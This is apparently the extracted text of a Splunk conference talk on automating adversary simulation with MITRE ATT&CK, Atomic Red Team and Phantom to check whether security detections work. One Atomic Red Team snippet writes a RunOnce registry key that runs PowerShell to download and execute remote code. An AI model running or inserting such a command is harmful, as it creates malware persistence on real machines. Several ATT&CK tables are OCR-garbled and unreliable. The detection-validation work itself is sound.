Cops and Robbers: Simulating the Adversary for Detection Validation

Tim Frazier @ Splunk
@timfrazier1
Kyle Champlin @ Splunk
@dishwishy
Talk Agenda:

AdvSim for Detection Validation

1. Why should we do this?
   • Not too Philosophical, I promise

2. How can we do this?
   • Our Tooling Overview: Diagram + Details

3. What does this look like IRL?
   • Simulated Scenario Demo

4. When can I get started?
   • Hint: Now is good
1. Why should we do this?
   • Not too Philosophical, I promise

2. How can we do this?
   • Our Tooling Overview: Diagram + Details

3. What does this look like IRL?
   • Simulated Scenario Demo

4. When can I get started?
   • Hint: Now is good
Why Simulate the Adversary?

*But First: Simulate == Emulate?

WE DON'T CARE

SOMEONE SMARTER THAN US WILL DECIDE
Why Simulate the Adversary?

The Robbers and the Goal

- Insider Threat
- Organized Crime
- Nation State

Data and Assets
Why Simulate the Adversary?

We add controls to frustrate our adversary

- Organized Crime
- Nation State
- Insider Threat

- Physical Controls
- Log Collection/Analysis
- Perimeter Defense
- Endpoint Protection
- SIEM
- Network Monitoring
- Machine Learning
- Human Analysts
- Intrusion Prevention
- Identity and Access Mgmt.

- Data and Assets

@dishwishy @timfrazier1
Why Simulate the Adversary?

But they often still succeed
Why Simulate the Adversary?

Toward a Threat Centric Approach
This talk is about automating the process of simulating and reliably identifying the techniques commonly used by our adversaries.
Why Not Just Pen Test and Red Team?

TL;DR: For the same reason we automate anything!

Automated Adversary Simulation

Pros
• Consistent and repeatable
• Test after changes (regression)
• Easy to measure and metricize
• Easy to share
• Relatively low cost
• Can get a wide distribution across known techniques

Cons
• Difficult to simulate a sentient human adversary

Pen Test / Red Team

Pros
▶ Best simulation of a real attacker
  • Will combine techniques in difficult to predict ways
▶ High-end testers can bring new techniques, or clever variations

Cons
▶ Pen testers are only human, they can and do get stuck in ruts
▶ Only as good as your next change request
▶ Relatively high cost
Why Not Just Pen Test and Red Team?

TL;DR: For the same reason we automate anything!

**Automated Adversary Simulation**

**Pros**
- Consistent and repeatable
- Test after changes (regression)
- Easy to measure and metricize
- Easy to share
- Relatively low cost
- Can get a wide distribution across known techniques

**Cons**
- Difficult to simulate a sentient human adversary

**Pen Test / Red Team**

**Pros**
- Best simulation of a real attacker
- Will combine techniques in difficult to predict ways
- High-end testers can bring new techniques, or clever variations

**Cons**
- Pen testers are only human, they can get stuck in ruts
- Only as good as your next change request
- Relatively high cost

**WHY NOT BOTH?**
So...Why?

1. Confirm efficacy of controls and detections
2. Regression testing: what worked yesterday...still works today
3. Don’t miss a detection for a technique/tactic that is widely known to the community
4. Identify detection blind-spots
5. Confirm vendor claims. “We detect that”... “Ok show me!”
1. Why should we do this?
   • Not too Philosophical, I promise

2. How can we do this?
   • Our Tooling Overview: Diagram + Details

3. What does this look like IRL?
   • Simulated Scenario Demo

4. When can I get started?
   • Hint: Now is good
A Closer Look at MITRE ATT&CK

ATT&CK Matrix for Enterprise

The full ATT&CK Matrix below includes techniques spanning Windows, Mac, and Linux platforms and can be used to navigate through the knowledge base.

<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command and Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>Drive-by Compromise</td>
<td>AppExec</td>
<td>bash_profile and bashrc</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Account Manipulation</td>
<td>Account Discovery</td>
<td>AppleExec</td>
<td>Audio Capture</td>
<td>Automated Exfiltration</td>
<td>Commonly Used Port</td>
</tr>
<tr>
<td>Exploitation</td>
<td>CMSTP</td>
<td>Accessibility Features</td>
<td>Accessibility Features</td>
<td>Bypass Job</td>
<td>Bash History</td>
<td>Application Window Discovery</td>
<td>Automated Collection</td>
<td>Data Compressed</td>
<td>Communication Through Removable Media</td>
<td></td>
</tr>
<tr>
<td>Hardware</td>
<td>Command Line Interface</td>
<td>AppCert DLLs</td>
<td>AppCert DLLs</td>
<td>AppCert DLLs</td>
<td>Binary Paging</td>
<td>Browser Bookmark Discovery</td>
<td>Distributed Component Object Model</td>
<td>Clipboard Data</td>
<td>Data Encryption</td>
<td>Connection Proxy</td>
</tr>
<tr>
<td>Replication</td>
<td>Control Panel Items</td>
<td>Appнят DLLs</td>
<td>Appriot DLLs</td>
<td>Bypass User Account Control</td>
<td>Credential Dumping</td>
<td>File and Directory Discovery</td>
<td>Exploitation of Remote Services</td>
<td>Data Staged</td>
<td>Data Transfer Size Limit</td>
<td>Custom Command and Control Protocol</td>
</tr>
<tr>
<td>Spear phishing</td>
<td>Dynamic Data Exchange</td>
<td>Application Shimming</td>
<td>Application Shimming</td>
<td>CMSTP</td>
<td>Credentials in Files</td>
<td>Network Service Scanning</td>
<td>Logon Scripts</td>
<td>Data from Information Repositories</td>
<td>Exfiltration Over Alternative Protocol</td>
<td>Custom Cryptographic Protocol</td>
</tr>
<tr>
<td>Spear phishing</td>
<td>Execution through API</td>
<td>Authentication Package</td>
<td>Bypass User Account Control</td>
<td>Clear Command History</td>
<td>Credentials in Registry</td>
<td>Network Share Discovery</td>
<td>Pass the Hash</td>
<td>Data from Local System</td>
<td>Exfiltration Over Command and Control Channel</td>
<td>Data Encoding</td>
</tr>
<tr>
<td>Spear phishing via Service</td>
<td>Execution through Module Load</td>
<td>Bypass Job</td>
<td>DLL Search for Hijacking</td>
<td>Code Signing</td>
<td>Exploitation for Credential Access</td>
<td>Password Policy Discovery</td>
<td>Pass the Ticket</td>
<td>Data from Network Shared Drive</td>
<td>Exfiltration Over Other Network Medium</td>
<td>Data Offloading</td>
</tr>
<tr>
<td>Supply Chain</td>
<td>Exploitation for Client Execution</td>
<td>Bootkit</td>
<td>Dylib Hijacking</td>
<td>Component Firmware</td>
<td>Forced Authentication</td>
<td>Peripheral Device Discovery</td>
<td>Remote Desktop Protocol</td>
<td>Data from Removable Media</td>
<td>Exfiltration Over Physical Medium</td>
<td>Domain Fronting</td>
</tr>
<tr>
<td>Trusted Relationship</td>
<td>Graphical User Interface</td>
<td>Browser Extensions</td>
<td>Exploitation for Privilege Escalation</td>
<td>Component Object Model Hijacking</td>
<td>Hooking</td>
<td>Permission Group Discovery</td>
<td>Remote File Copy</td>
<td>Email Collection</td>
<td>Scheduling Transfer</td>
<td>Failback Channels</td>
</tr>
</tbody>
</table>

@dishwishy @timfrazier1
A Closer Look at MITRE ATT&CK

MITRE ATT&CK

SO HOT RIGHT NOW
Technique T1060

Registry Run Keys / Start Folder

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. The program will be executed under the context of the user and will have the account's associated permissions level.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboot. Adversaries may also use Maquandering to make the Registry entries look as if they are associated with legitimate programs.

Examples

- APT10 added Registry Run keys to establish persistence[8]
- APT3 places scripts in the startup folder for persistence.[9]
- APT37 malware MIKDROP sets a Registry key for persistence.[10]
- BRONZE BUTLER has used a batch script that adds a Registry Run key to establish malware persistence.[11]
- DharmaRat has been known to establish persistence by adding programs to the Run Registry Key.[12]
- FIN7 has established persistence by using the Registry option in PowerShell Empire to add a Run key.[13]
- FIN7 has used Registry Run keys to establish persistence for its downloader tools as HARDTARGET and SHIKATA GETS.[14]
- FIN7 malware has created a Registry Run key pointing to its malicious LNK file to establish persistence.[15]
- Lazarus Group malware attempts to maintain persistence by saving itself in the Start menu folder or by adding a Registry key.[16]
- Leviation has used a JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.[17]
- Magic Hound malware has used Registry Run keys to establish persistence.[18]
- MuddyWaters had added Registry Run keys to establish persistence.[19]
- Patchwork added the path of its second-stage malware to the startup folder to achieve persistence.[20]
- A dropper used by Putter Panda installs itself into the ASEU Registry key.
- MSVCRT70.dll achieves persistence by adding itself to the <MOUNT SOFTWARE>
- BACKSPACE achieves persistence by creating a shortcut to itself in the GSDL_STARTUP directory.
- BADNEWS installs a registry Run key to establish persistence.[21]
- BSRAR has been loaded through DLL side-loading of a legitimate Citrix executable that is set to persist through the registry run key.

Registry Run Keys / Start Folder

<table>
<thead>
<tr>
<th>Technique</th>
<th>ID</th>
<th>T1060</th>
</tr>
</thead>
<tbody>
<tr>
<td>Textile</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Persistence</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Platform</td>
<td></td>
<td>Windows, REGISTRY</td>
</tr>
<tr>
<td>Permissions</td>
<td>User, Administrator</td>
<td></td>
</tr>
<tr>
<td>Required</td>
<td>Data Sources Windows Registry, File monitoring</td>
<td></td>
</tr>
<tr>
<td>CAPEC ID</td>
<td>CAPEC-2709</td>
<td></td>
</tr>
</tbody>
</table>

References

# ATT&CK Navigator

<table>
<thead>
<tr>
<th>Layer</th>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Command And Control</th>
<th>Exfiltration</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>11 items</td>
<td>34 items</td>
<td>62 items</td>
<td>32 items</td>
<td>69 items</td>
<td>21 items</td>
<td>23 items</td>
<td>18 items</td>
<td>13 items</td>
<td>22 items</td>
<td>16 items</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Drive-by-Infection</td>
<td>Attack</td>
<td>Exploit</td>
<td>Public-Policy</td>
<td>Application</td>
<td>Adjunct</td>
<td>Bypass</td>
<td>Account</td>
<td>Discovery</td>
<td>Attack</td>
<td>Discovery</td>
<td>Attack</td>
<td>Discovery</td>
</tr>
</tbody>
</table>
A Closer Look at Atomic Red Team

Atomic Red Team is an open source collection of small, highly portable tests mapped to the corresponding techniques in the MITRE ATT&CK framework. These tests can be used to validate detection and response technology and processes.

Browse popular Atomic Red Team resources below to learn more.

https://www.redcanary.com/atomic-red-team
T1060 - Registry Run Keys / Start Folder

Description from ATT&CK

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malevolent activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Platforms: Windows
Data Sources: Windows Registry, File monitoring
Permissions Required: User, Administrator

Atomic Tests

https://www.redcanary.com/atomic-red-team

Mike Haag
T1060 - Registry Run Keys / Start Folder

Description from ATT&CK

Adding an entry to the "run keys." In the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level. Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as SysInternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malevolence activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Platforms: Windows
Data Sources: Windows Registry, File monitoring
Permissions Required: User, Administrator

Atomic Tests

https://www.redcanary.com/atomic-red-team
```python
input_arguments:
  thing_to_execute:
    description: Thing to Run
    type: Path
    default: powershell.exe

exlabel:
  name: powershell
  command: |
    $RunOnceKey = "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
    set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute}"IEX (New-Object Net.WebClient).DownloadString("https://r
    Remove-ItemProperty -Path $RunOnceKey -Name "NextRun" -Force
  - name: Startup Folder
  description: |
  Add Shortcut To Startup via PowerShel
```

https://www.redcanary.com/atomic-red-team
How We Simulate the Adversary
Using Splunk, Phantom, MITRE ATT&CK™, and Atomic Red Team

We use Splunk... But you don’t have to!
“Adversary Simulation” Project Authors

Tim Frazier
Kyle Champlin
Dave Herrald
AdvSim Project Key Components

Diagram coming on next slide

- Splunk ATT&CK Sim App:
  - MITRE ATT&CK Navigator
  - Simulation Runner Dashboard

- Phantom Content:
  - Atomic Red Team app
  - Windows Remote Management app
  - Actually issues commands on endpoint
  - Modular Simulation Playbook

- Windows Target System
  - Win 10 w/Sysmon, WinRM, Splunk Universal Forwarder (Part of Detection Lab)
  - Olaf Hartong’s Sysmon config w/ minor tweaks:

- See our talks from Splunk .Conf 2018 and 2019 for more details on the project
  - https://conf.splunk.com/watch/conf-online.html?search=cops#/

Tim Frazier  Dave Herrald  Kyle Champlin
AdvSim Project Approach

Orange Boxes = Our Content

Tim Frazier  Dave Herrald  Kyle Champlin

**Splunk**

- ATT&CK Sim Splunk App
  - ATT&CK Navigator
  - Simulation Runner

**Splunk Security Analytics**

- Splunk Enterprise Security™

**Phantom**

- Atomic Red Team App
  - Collects and Formats ART tests in Phantom

- Adversary Simulation Playbook
  - Executes Atomic Red Team detection tests & Scythe Campaigns against Windows Hosts

Win Hosts

Splunk UF

@dishwishy  @timfrazier1
Splunk ATT&CK Navigator App
Interface for selecting techniques and tactics and visualizing results

- ATT&CK Navigator directly in Splunk
- Use ATT&CK layers to provide:
  - MITRE provided threat group overlays
  - Splunk provided detection rules mapped to techniques via Splunk Security Essentials
  - Gaps in currently active detections
  - Visual feedback on successful vs. unsuccessful detections of techniques
- Auto Refreshes in real-time
- Taking weekly/monthly screenshots to track detection progress
### Splunk Simulation Runner Dashboard

**Interface for Kicking Off tests and validating their results**

- Execution of test selected from ATT&CK Navigator app
- Select a target host/asset, initiate the test, and see the results
- Generic searches for corresponding events on this same dashboard
- “Validation” button updates ATT&CK layer
- Bottom Line: 
  *This allows Blue Teamer to run the whole workflow*
This all works in the free community edition of Phantom
1. Format and Post a start event directly into Splunk
2. Check the OS for the test we are running
3. In the Windows Path, format and write an event to the Windows Event Log through WinRM
4. Check if we want to use “Invoke-AtomicTest” or WinRM to run the Atomic Red Team test directly
5. If using “Invoke”, format the command and call it
6. If ART test, format it, then run in PowerShell or cmd.exe as appropriate
7. Check for an execution error and post the error message back to Splunk
8. Format our “END” event and write it to the Windows Host, as well as post it to Splunk.
Phantom Modular Simulation Playbook

Available at: https://github.com/timfrazier1/AdvSimPlaybooks
Detection vs. Alerting

A very brief thought on detection methodology

- Not everything is malicious

- Not every detection should spawn an alert or investigation

- Investigations can be started from multiple detections on a single asset/identity
1. Why should we do this?
   • Not too Philosophical, I promise

2. How can we do this?
   • Our Tooling Overview: Diagram + Details

3. What does this look like IRL?
   • Simulated Scenario Demo

4. When can I get started?
   • Hint: Now is good
WE'LL DO IT LIVE

I'LL WRITE IT AND WE'LL DO IT LIVE
<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
</tr>
</thead>
<tbody>
<tr>
<td>11 items</td>
<td>33 items</td>
<td>59 items</td>
<td>28 items</td>
<td>67 items</td>
<td>19 items</td>
<td>22 items</td>
<td>17 items</td>
</tr>
<tr>
<td>Drive-by Compromise</td>
<td>AppleScript</td>
<td>.bash_profile and .bashrc</td>
<td>Access Token Manipulation</td>
<td>Access Token Manipulation</td>
<td>Account Manipulation</td>
<td>Account Discovery</td>
<td>AppleScript</td>
</tr>
<tr>
<td>Exploit Public-Facing Application</td>
<td>CMSTP</td>
<td>Accessibility Features</td>
<td>Accessibility Features</td>
<td>Binary Padding</td>
<td>Application Window Discovery</td>
<td>Application Window Discovery</td>
<td></td>
</tr>
<tr>
<td>External Remote Services</td>
<td>Command-Line Interface</td>
<td>Account Manipulation</td>
<td>AppCert DLLs</td>
<td>BITS Padding</td>
<td>Deployment</td>
<td>Deployment</td>
<td></td>
</tr>
<tr>
<td>Hardware Additions</td>
<td>Compiled HTML File</td>
<td>AppCert DLLs</td>
<td>ApplInit DLLs</td>
<td>Bypass User Account Control</td>
<td>Distribution</td>
<td>Distribution</td>
<td></td>
</tr>
<tr>
<td>Replication Through</td>
<td>Control Panel Items</td>
<td>Application Shimming</td>
<td>Application Shimming</td>
<td>Clear Command History</td>
<td>Component</td>
<td>Component</td>
<td></td>
</tr>
<tr>
<td>Dynamic Data Exchange</td>
<td>Dynamic Data Exchange</td>
<td>Bypass User Account Control</td>
<td>Bypass User Account Control</td>
<td>CMSTP</td>
<td>Compart</td>
<td>Compart</td>
<td></td>
</tr>
<tr>
<td>Execution through</td>
<td>Execution through</td>
<td>Code Signing</td>
<td>Code Signing</td>
<td>Credentials in Files</td>
<td>Compart</td>
<td>Compart</td>
<td></td>
</tr>
<tr>
<td>Authentication</td>
<td>Authentication</td>
<td>Compart</td>
<td>Compart</td>
<td>Credentials in Registry</td>
<td>Compart</td>
<td>Compart</td>
<td></td>
</tr>
</tbody>
</table>

**Legend:**
- **Legend:**
  - `Drive-by Compromise`:
    - `AppleScript`
    - `CMSTP`
  - `Exploit Public-Facing Application`:
    - `Command-Line Interface`
    - `Compiled HTML File`
  - `External Remote Services`:
    - `Control Panel Items`
    - `Dynamic Data Exchange`
  - `Hardware Additions`
  - `Replication Through`:
    - `Execution through`
    - `Authentication`
1. Why should we do this?
   • Not too Philosophical, I promise

2. How can we do this?
   • Our Tooling Overview: Diagram + Details

3. What does this look like IRL?
   • Simulated Scenario Demo

4. When can I get started?
   • Hint: Now is good
Get Started Today!

https://github.com/timfrazier1/AdversarySimulation

• Overview, Intro video, Install Guide and...

ATT&CK Sim Install Guide

This guide is intended to provide a prescriptive path to getting a minimal adversary simulation setup using Splunk and Phantom (free/community editions). There is obviously much left to the reader once the setup is complete in terms of what techniques to test.

Follow either Option A to use a new fork of DetectionLab with Terraform in AWS (Easiest option), Option B to build your own AWS AMI or Option C to use Detection Lab locally for getting the basic components in place. Then skip down to "Further Phantom Setup"

Step 1: Option A: Using DetectionLab in AWS with Terraform:

This method is still in “beta”, but when working, is the easiest method to get all components needed for ATT&CK Sim up and running.

2. Go here and subscribe to the Splunk Phantom AMI in your AWS account in order to accept the EULA: https://aws.amazon.com/marketplace/pp/Splunk-Inc-Splunk-Phantom/B07K2HPN4G
3. Follow the instructions here to set up your Terraform profile and variables: https://github.com/timfrazier1/DetectionLab/blob/master/Terraform/Pre-Built_AMIs.md
4. After running “terraform apply” and typing “yes”, the build process should begin.
   • Please note that this fork of DetectionLab only installs Splunk Universal Forwarder does not have any components enabled (such as ODI and Bro) for speed of install reasons. This can be easily changed by uncommenting lines 446-450 in the file https://github.com/timfrazier1/DetectionLab/blob/master/Vagrant/bootstrap.sh
5. Look for the green output text when the build completes (~20-30 minutes) and you should have your URLs to access Splunk and Phantom.

Step 1: Option B: Setting up Splunk:

1. Launch Splunk Enterprise AMI on AWS (or on-prem version) (tested with version 7.2.8)
2. Commands from Splunk instance CLI

   sudo su
   yum install git -y
   su splunk
Up and Running in a matter of hours...

https://github.com/timfrazier1/AdversarySimulation

• Terraform install option for easy spin up:

Step 1: Option A: Using DetectionLab in AWS with Terraform:

This method is still in “beta”, but when working, is the easiest method to get all components needed for ATT&CK Sim up and running.

2. Go here and subscribe to the Splunk Phantom AMI in your AWS account in order to accept the EULA: https://aws.amazon.com/marketplace/pp/Splunk-Inc-Splunk-Phantom/B07K2HPN7G
3. Follow the instructions here to set up your Terraform profile and variables: https://github.com/timfrazier1/DetectionLab/blob/master/Terraform/Pre-Built_AMIs.md
4. After running "terraform apply" and typing "yes", the build process should begin.

• Please note that this fork of DetectionLab only installs Splunk Universal Forwarder does not have some components enabled (such as OSquery and Bro) for speed of install reasons. This can be easily changed by uncommenting lines 446-450 in the file https://github.com/timfrazier1/DetectionLab/blob/master/Vagrant/bootstrap.sh

5. Look for the green output text when the build completes (~20-30 minutes) and you should have your URLs to access Splunk and Phantom.
Up and Running in a matter of hours...

https://github.com/timfrazier1/AdversarySimulation

- Terraform install option for easy spin up:

Step 1: Option A: Using DetectionLab in AWS with Terraform:

This method is still in “beta”, but when working, is the easiest method to get all components needed for ATT&CK Sim up and running.

1. Clone the DetectionLab fork here:
2. Go here and subscribe to the S3 bucket:
   https://aws.amazon.com/s3/
3. Follow the instructions here to subscribe:
   https://github.com/timfrazier1/Tests
4. After running “terraform apply”:

- Please note that this fork of DetectionLab is not behavior-enabled (such as OSquery and cymru-srv) 446-450 in the file:

5. Look for the green output text when the build completes (~20-30 minutes) and you should have your URLs to access Splunk and Phantom.
Now it’s your turn...

- Give it a shot! We welcome feedback...

- Future Improvement Options:
  - Automation settings for repeating tests on a specified frequency
  - Building more detection content
  - Including Splunk Attack Range project as another option for the testing environment

Thanks to our Beta Testers:
- Andrew Schwartz from TrustedSec
- Jonny Johnson (@jsecurity101) from SpecterOps
- David Brogy from Trustwave

Thanks to Chris Long (@centurion) for Detection Lab: https://github.com/clong/DetectionLab

Thanks to Olaf Hartong (@olafhartong) for Sysmon configuration and Threat Hunting App: https://github.com/olafhartong/ThreatHunting

Thanks to MITRE and Red Canary for their awesome work
1. Why should we do this?
   • Not too Philosophical, I promise

2. How can we do this?
   • Our Tooling Overview: Diagram + Details

3. What does this look like IRL?
   • Simulated Scenario Demo

4. When can I get started?
   • Hint: Now is good
Questions?

Tim Frazier | @timfrazier1
Kyle Champlin | @dishwishy